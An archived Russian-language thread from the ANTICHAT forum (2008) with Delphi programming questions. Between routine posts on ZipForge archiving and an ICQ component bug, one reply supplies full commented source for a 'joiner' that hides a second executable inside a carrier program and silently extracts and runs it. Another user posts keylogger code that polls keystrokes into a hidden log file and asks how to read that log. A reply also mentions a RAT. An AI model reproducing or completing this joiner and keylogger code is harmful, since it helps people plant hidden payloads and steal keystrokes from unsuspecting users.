ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

04.04.2008, 11:39
|
|
Познающий
Регистрация: 15.02.2008
Сообщений: 98
Провел на форуме: 183980
Репутация:
50
|
|
Устанавливаешь ZipForge и как то так =)
Код:
procedure Arhived(Dir, inFile, outFile: String);
var
arh: TZipForge;
begin
arh := TZipForge.Create(nil);
with arh do
try
FileName := Dir + outFile;
BaseDir := Dir;
Active := true;
AddFiles(inFile);
Active := False;
finally
Free;
end;
end;
А вообще у ZipForge хороший ман... там всё есть
|
|
|

04.04.2008, 16:44
|
|
Познающий
Регистрация: 15.12.2007
Сообщений: 38
Провел на форуме: 71979
Репутация:
18
|
|
А как в Делфи написать прогу , которая записывала бы себя в ЕХЕ и при запуске этого ЕХЕ запускалась бы старая и прога и та , которая переписывает себя ?
|
|
|

04.04.2008, 19:09
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
ты же процитировал, как это не видишь? о_О
P.S. system("rar a -m5 arch.rar files")
|
|
|

04.04.2008, 19:40
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Вот откопал исходники примитивного склейщика 2 файлов!
Код:
Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
mSize=56789;//Размер программы-носителя к которой будет крениться файл
fSize=12345;//Размер крепимого файла
//Эти два значения мы устанавливаем опытным путем и записываем сами
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf : MnBuf;
fBuf : FlBuf;
lBuf : LaBuf;
f : File of Char;
begin
FileMode:=0;//Устанавливаем режим работы с файлами “Только чтение”
AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
Reset(f);//Открываем себя
Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
//В DOS-заголовке ехе-файла на имеются зарезервированные места,
//которые пока их не заняли мы можем свободно использовать
//на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
if LBuf=’E}{eC()M’ then
//Если в этом месте наша метка значит файл уже приклеин и нам необходимо
//его из себя извлечь и по необходимости запустить в выбраном режиме отображения
//Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
// и не более 20 байт в позиции 28h… Мы находимся на втором уровне
Begin
Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
CloseFile(f);//Закрываем себя
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
{$I-}//Отключаем проверку ошибок ввода вывода
AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
ReWrite(f);//Создаем с перезаписью пустой файл
BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
CloseFile(f);//Закрываем себя
{$I+}//Включаем проверку ошибок ввода вывода
if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow);
//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
end
else
//Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
//Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
begin
{$I-}//Отключаем проверку ошибок ввода вывода
Seek(f,0);//Переходим на позицию начала своего файла
BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
CloseFile(f);//Закрываем себя
AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
Reset(f);//Открываем его
BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
CloseFile(f);//Закрываем клеимый файл
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем,
//как у файла носителя + .ЕхЕ
ReWrite(f);//Создаём новый пустой файл
BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
seek(f,$1C);//Переходим на позицию установки метки
LBuf:=’E}{eC()M’;//Присваивем переменной значение метки
BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
CloseFile(f);//Закрываем файл
{$I+}//Включаем проверку ошибок ввода вывода
end;
end;
begin
//Применение процедуры Joiner:
//fName - Имя клеимого файла
//fPath - Папка распаковки файла
//fCMD - командная строка запуска файла (если есть)
//fstart - true - запускаем, false - не запускаем, извлечённый файл
//fShow - Режим отображения запущеного файла например:
//SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
======================================
Так же можешь использовать Asm вставки!
|
|
|

05.04.2008, 21:18
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Вот решил разобратьсяв коде кейлогера
взят из этой темы(последний пост):
ССЫЛКА
и возник один вопрос:
как сделать так, чтобы файл, в который записывается лог клавиш был доступен для чтения, а то все мои попытки не увенчались успехом (нужно чтобы была возможность считывать в стринговом формате)?Вот отрывок кода:
Код:
type
UINT=Cardinal;
DWORD=Cardinal;
SHORT=SmallInt;
HKL = LongWord;
HKEY = type LongWord;
THandle = Cardinal;
HWND=Cardinal;
BOOL = Boolean;
_SYSTEMTIME = record
wYear: Word;
wMonth: Word;
wDayOfWeek: Word;
wDay: Word;
wHour: Word;
wMinute: Word;
wSecond: Word;
wMilliseconds: Word;
end;
TSystemTime = _SYSTEMTIME;
MMRESULT = UINT;
TOverLapped = record
Internal: LongWord;
InternalHigh: LongWord;
Offset: LongWord;
OffsetHigh: LongWord;
hEvent: LongWord;
end;
TSecurityAttributes = record
nLength: LongWord;
lpSecurityDescriptor: Pointer;
bInheritHandle: LongBool;
end;
POverlapped = ^TOverlapped;
PSecurityAttributes = ^TSecurityAttributes;
TFNTimeCallBack = procedure(uTimerID, uMessage: UINT;
dwUser, dw1, dw2: DWORD) stdcall;
var
TIDA:Integer;
TID:Integer;
loggern:pchar;
wintext:array[0..144]of char;
_temp:^cardinal;
wrote:longWord;
buffer:array[0..40000] of char;
FH:THandle;
acWindow:HWND;
path:string;
function MakeWord(A, B: Byte): Word;
begin
Result := A or B shl 8;
end;
function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;
Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';
function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';
function GetKeyboardLayout(dwLayout: DWORD): HKL; stdcall; external 'user32' name 'GetKeyboardLayout';
function GetWindowThreadProcessId(hWnd: HWND; lpdwProcessId: Pointer): DWORD; stdcall; external 'user32' name 'GetWindowThreadProcessId';
function GetForegroundWindow: HWND; stdcall; external 'user32' name 'GetForegroundWindow';
function GetAsyncKeyState(vKey: Integer): SHORT; stdcall; external 'user32' name 'GetAsyncKeyState';
function GetKeyState(nVirtKey: Integer): SHORT; stdcall; external 'user32' name 'GetKeyState';
function timeSetEvent(uDelay, uResolution: UINT;
lpFunction: TFNTimeCallBack; dwUser: DWORD; uFlags: UINT): MMRESULT; stdcall; external 'winmm.dll' name 'timeSetEvent';
function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall; external 'user32' name 'GetWindowTextA';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: LongWord;
lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: LongWord;
hTemplateFile: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'CreateFileA';
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint;
lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall; external 'kernel32' name 'SetFilePointer';
function GetFileSize(hFile: THandle; lpFileSizeHigh: Pointer): DWORD; stdcall; external 'kernel32' name 'GetFileSize';
function WriteFile(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord;
var lpNumberOfBytesWritten: LongWord; lpOverlapped: POverlapped): LongBool; stdcall;
external 'kernel32.dll' name 'WriteFile';
function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; stdcall; external 'kernel32' name 'SetFileAttributesA';
function CloseHandle(hObject: THandle): BOOL; stdcall; external 'kernel32' name 'CloseHandle';
function lstrlen(lpString: PChar): Integer; stdcall; external 'kernel32' name 'lstrlenA';
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcpyA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcatA';
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external 'kernel32' name 'GetWindowsDirectoryA';
function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external 'kernel32' name 'GetTempPathA';
procedure Sleep(milliseconds: Cardinal); stdcall; external 'kernel32.dll' name 'Sleep';
procedure GetSystemTime(var lpSystemTime: TSystemTime); stdcall; external 'kernel32' name 'GetSystemTime';
//...................
//...................
path:='syslog.txt';
FH:=CreateFile(Pchar(path),$40000000,$00000002,nil,2,0,0);
SetFileAttributes(Pchar(path),$00000002);
|
|
|

05.04.2008, 21:45
|
|
Новичок
Регистрация: 29.02.2008
Сообщений: 25
Провел на форуме: 140244
Репутация:
6
|
|
Dr.KoD
http://msdn2.microsoft.com/en-us/library/aa363858(VS.85).aspx
FH:=CreateFile(Pchar(path),$40000000,$00000002,nil ,2,0,0);
лень разбираца но вроде какой то параметр отвечает за атрибут файла системный скрытый для чтения и т д
dwFlagsAndAttributes
HANDLE WINAPI CreateFile(
__in LPCTSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes, - вот это надо менять
__in_opt HANDLE hTemplateFile
Attribute Meaning
FILE_ATTRIBUTE_ARCHIVE
32
0x20
The file should be archived. Applications use this attribute to mark files for backup or removal.
FILE_ATTRIBUTE_ENCRYPTED
16384
0x4000
The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories. For more information, see File Encryption.
This flag has no effect if FILE_ATTRIBUTE_SYSTEM is also specified.
FILE_ATTRIBUTE_HIDDEN
2
0x2
The file is hidden. Do not include it in an ordinary directory listing.
FILE_ATTRIBUTE_NORMAL
128
0x80
The file does not have other attributes set. This attribute is valid only if used alone.
FILE_ATTRIBUTE_OFFLINE
4096
0x1000
The data of a file is not immediately available. This attribute indicates that file data is physically moved to offline storage. This attribute is used by Remote Storage, the hierarchical storage management software. Applications should not arbitrarily change this attribute.
FILE_ATTRIBUTE_READONLY
1
0x1
The file is read only. Applications can read the file, but cannot write to or delete it.
FILE_ATTRIBUTE_SYSTEM
4
0x4
The file is part of or used exclusively by an operating system.
FILE_ATTRIBUTE_TEMPORARY
256
0x100
The file is being used for temporary storage. File systems avoid writing data back to mass storage if sufficient cache memory is available, because an application deletes a temporary file after a handle is closed. In that case, the system can entirely avoid writing the data. Otherwise, the data is written after the handle is closed.
);
вроде че то типо того или я непонял )
Последний раз редактировалось rasl; 05.04.2008 в 21:52..
|
|
|

05.04.2008, 22:22
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Блин в самый главный справочник забыл заглянуть, все спасиб разобрался.
|
|
|

09.04.2008, 07:08
|
|
Познающий
Регистрация: 30.04.2007
Сообщений: 77
Провел на форуме: 393625
Репутация:
50
|
|
глюк с TICQClient а именно в использовании функции
SetSelfInfoGeneral неменяет инфу ХЗ почему.
Подключаюсь пытаюсь сменить инфу но увы, некаких ошибок невыдаёт мож кто уже сталкивался и знает как решить даную проблему! зарание благгодарен!
|
|
|

09.04.2008, 14:55
|
|
Участник форума
Регистрация: 01.05.2006
Сообщений: 216
Провел на форуме: 287212
Репутация:
62
|
|
Дело, возможно, в том, что компонент писался ОЧЕНЬ давно, с тех пор на серверах Icq было много изменений. Например, старая версия крысы (созданная на базе именно этого компонента) у меня тоже инфу сохраняла некорректно. Тут можно только поискать более свежую версию компонента (хотя сам автор его забросил, есть альтернативные сборки).
|
|
|

09.04.2008, 16:17
|
|
Познающий
Регистрация: 30.04.2007
Сообщений: 77
Провел на форуме: 393625
Репутация:
50
|
|
версия самая свежая что на его саите, то что нашёл из альтернативных сборок тоже инфу неменяет... может есть какой другой способ? или имеються ссылки на рабочий компонент ?
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|